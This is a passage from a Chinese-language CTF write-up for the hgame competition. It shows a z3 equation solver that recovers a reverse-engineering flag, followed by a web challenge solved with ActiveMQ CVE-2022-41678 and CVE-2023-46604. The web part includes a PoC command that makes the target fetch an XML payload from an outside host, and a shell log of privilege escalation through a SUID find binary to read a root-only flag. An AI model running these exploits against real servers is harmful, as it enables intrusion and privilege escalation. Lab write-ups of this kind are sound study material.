    , 116 * v9+ 152 * v29+ 235 * v20+ 202 * v18+ 85 * (v8 + 3 * v11)+ 221 * (v16
+ v40)+ 125 * (v33 + v24)+ 7 * (19 * v4 + 9 * (v10 + 2 * v25) + v2 + 33 * v3 +
32 * v19)+ 3 * (71 * v39 + 43 * v22 + 32 * (v17 + v26) + 15 * (v5 + v6 + 2 *
v23) + v28 + 74 * v31 + 48 * v42)+ 10 * (v21 + 11 * v30 + 16 * v15)+ 136 * v7+
106 * v1+ 41 * v27 == 403661
    , 127 * v4+ 106 * v15+ 182 * v30+ 142 * v5+ 159 * v16+ 17 * v1+ 211 * v6+
134 * v2+ 199 * v7+ 103 * v28+ 247 * v23+ 122 * v9+ 95 * v41+ 62 * v10+ 203 *
v39+ 16 * v11+ 41 * (6 * v42 + v25)+ 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40)+
10 * (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29)+ 6 * (23
* v27 + v26)+ 213 * v18+ 179 * v3+ 43 * v19 == 418596))
s.add(149 * v19    + v1    + 133 * v22    + 207 * v41    + 182 * v26    + 234 *
v7    + 199 * v8    + 168 * v21    + 58 * v10    + 108 * v20    + 142 * v18    +
156 * (v9 + v25)    + 16 * (v29 + 6 * v31)    + 126 * (v17 + 2 * v39)    + 127 *
(v4 + 2 * v27 + v40)    + 49 * (v30 + 4 * v16)    + 11 * (v5 + 22 * v11)    + 5
* (v15 + v42 + 45 * v24 + 50 * v28)    + 109 * v2    + 124 * v6    + 123 * v3 ==
418697)

if s.check() == sat:  # 检测是否有解
    result = s.model()
    print(result)
```

```
[18 = 49,
 20 = 103,
 30 = 115,
 12 = 100,
 17 = 118,
 10 = 52,
 13 = 95,
 15 = 48,
 21 = 95,
 7 = 77,
 16 = 108,
 23 = 113,
 28 = 79,
 14 = 115,
 27 = 49,
 29 = 110,
 22 = 101,
 9 = 95,
 6 = 83,
 11 = 110,
 25 = 52,
 19 = 110,
 8 = 67,
 24 = 117,
```

```
 26 = 116,
 31 = 125,
 5 = 123,
 4 = 101,
 3 = 109,
 2 = 97,
 1 = 103,
 0 = 104]
```

```
a=['0']*32
a[18]=49
a[20]=103
a[30]=115
a[12]=100
a[17]=118
a[10]=52
a[13]=95
a[15]=48
a[21]=95
a[7]=77
a[16]=108
a[23]=113
a[28]=79
a[14]=115
a[27]=49
a[29]=110
a[22]=101
a[9]=95
a[6]=83
a[11]=110
a[25]=52
a[19]=110
a[8]=67
a[24]=117
a[26]=116
a[31]=125
a[5]=123
a[4]=101
a[3]=109
a[2]=97
a[1]=103
a[0]=104
print(bytes(a))
```

```
b'hgame{SMC_4nd_sOlv1ng_equ4t1Ons}'
```

web

Reverse and Escalation.

http://47.102.184.100:30563

http://47.102.184.100:30810

activemq 的CVE-2022-41678，CVE-2023-46604，再加find提权

一开始用第一个地址CVE-2022-41678很顺利就打通了，但是发现要提权，奈何这个poc的执行命令有很多限制条件，无法空格，不能用“，空格可以用%20代替，发现根目录下有个flag，但是没权限读取

```
User-Agent: Mozilla ||| total 76
4 drwxr-xr-x   1 root root 4096 Feb 21 08:13 bin
4 drwxr-xr-x   2 root root 4096 Jun 30  2022 boot
0 drwxr-xr-x   5 root root  360 Feb 23 06:03 dev
4 drwxr-xr-x   1 root root 4096 Feb 23 06:03 etc
4 -rw-------   1 root root   48 Feb 23 06:03 flag
4 drwxr-xr-x   1 root root 4096 Feb 21 08:14 home
4 drwxr-xr-x   1 root root 4096 Aug  1  2022 lib
4 drwxr-xr-x   2 root root 4096 Aug  1  2022 lib64
4 drwxr-xr-x   2 root root 4096 Aug  1  2022 media
4 drwxr-xr-x   2 root root 4096 Aug  1  2022 mnt
8 drwxr-xr-x   1 root root 4096 Dec  1 06:41 opt
0 dr-xr-xr-x 343 root root    0 Feb 23 06:03 proc
4 drwx------   1 root root 4096 Feb 21 08:41 root
4 drwxr-xr-x   3 root root 4096 Aug  1  2022 run
4 drwxr-xr-x   1 root root 4096 Feb 21 08:13 sbin
4 drwxr-xr-x   2 root root 4096 Aug  1  2022 srv
0 dr-xr-xr-x  13 root root    0 Feb 23 06:03 sys
8 drwxrwxrwt   1 root root 4096 Feb 21 08:39 tmp
4 drwxr-xr-x   1 root root 4096 Aug  1  2022 usr
4 drwxr-xr-x   1 root root 4096 Aug  1  2022 var

|||
Origin: http://47.102.184.100:30444
```

这个poc很不方便，准备换一个CVE-2023-46604，

参考https://blog.csdn.net/weixin_49125123/article/details/135577221

python3 poc.py 47.102.184.100 30563 http://81.70.241.211:6666/poc.xml ，奈何执行了没反应，后来想起还有第二个地址，虽然直接访问不了，但是可以用，最后find提权就出来了

```
python3 poc.py 47.102.184.100 30810 http://83.73.233.266:6666/poc.xml
```

```
activemq@gamebox-924-153-4e49199b898d1edb:/$ find / -user root -perm -4000 -print 2>/dev/null
</$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/bin/umount
/bin/su
/bin/mount
activemq@gamebox-924-153-4e49199b898d1edb:/$ /usr/bin/find /etc/passwd  -exec whoami ;
<8d1edb:/$ /usr/bin/find /etc/passwd  -exec whoami ;
/usr/bin/find: missing argument to `-exec'
activemq@gamebox-924-153-4e49199b898d1edb:/$ ^[[A^H^H^H^H
<8d1edb:/$ /usr/bin/find /etc/passwd  -exec whoami ;
/usr/bin/find: missing argument to `-exec'
activemq@gamebox-924-153-4e49199b898d1edb:/$ find /flag -exec whoami \;
find /flag -exec whoami \;
root
activemq@gamebox-924-153-4e49199b898d1edb:/$ id
id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq@gamebox-924-153-4e49199b898d1edb:/$ find /flag -exec cat /flag \;
find /flag -exec cat /flag \;
hgame{15aa0cbb990a0401a517a104c5a05c6ac9a0ab9a}
activemq@gamebox-924-153-4e49199b898d1edb:/$ ubuntu@VM-16-8-ubuntu:~/hgame$
```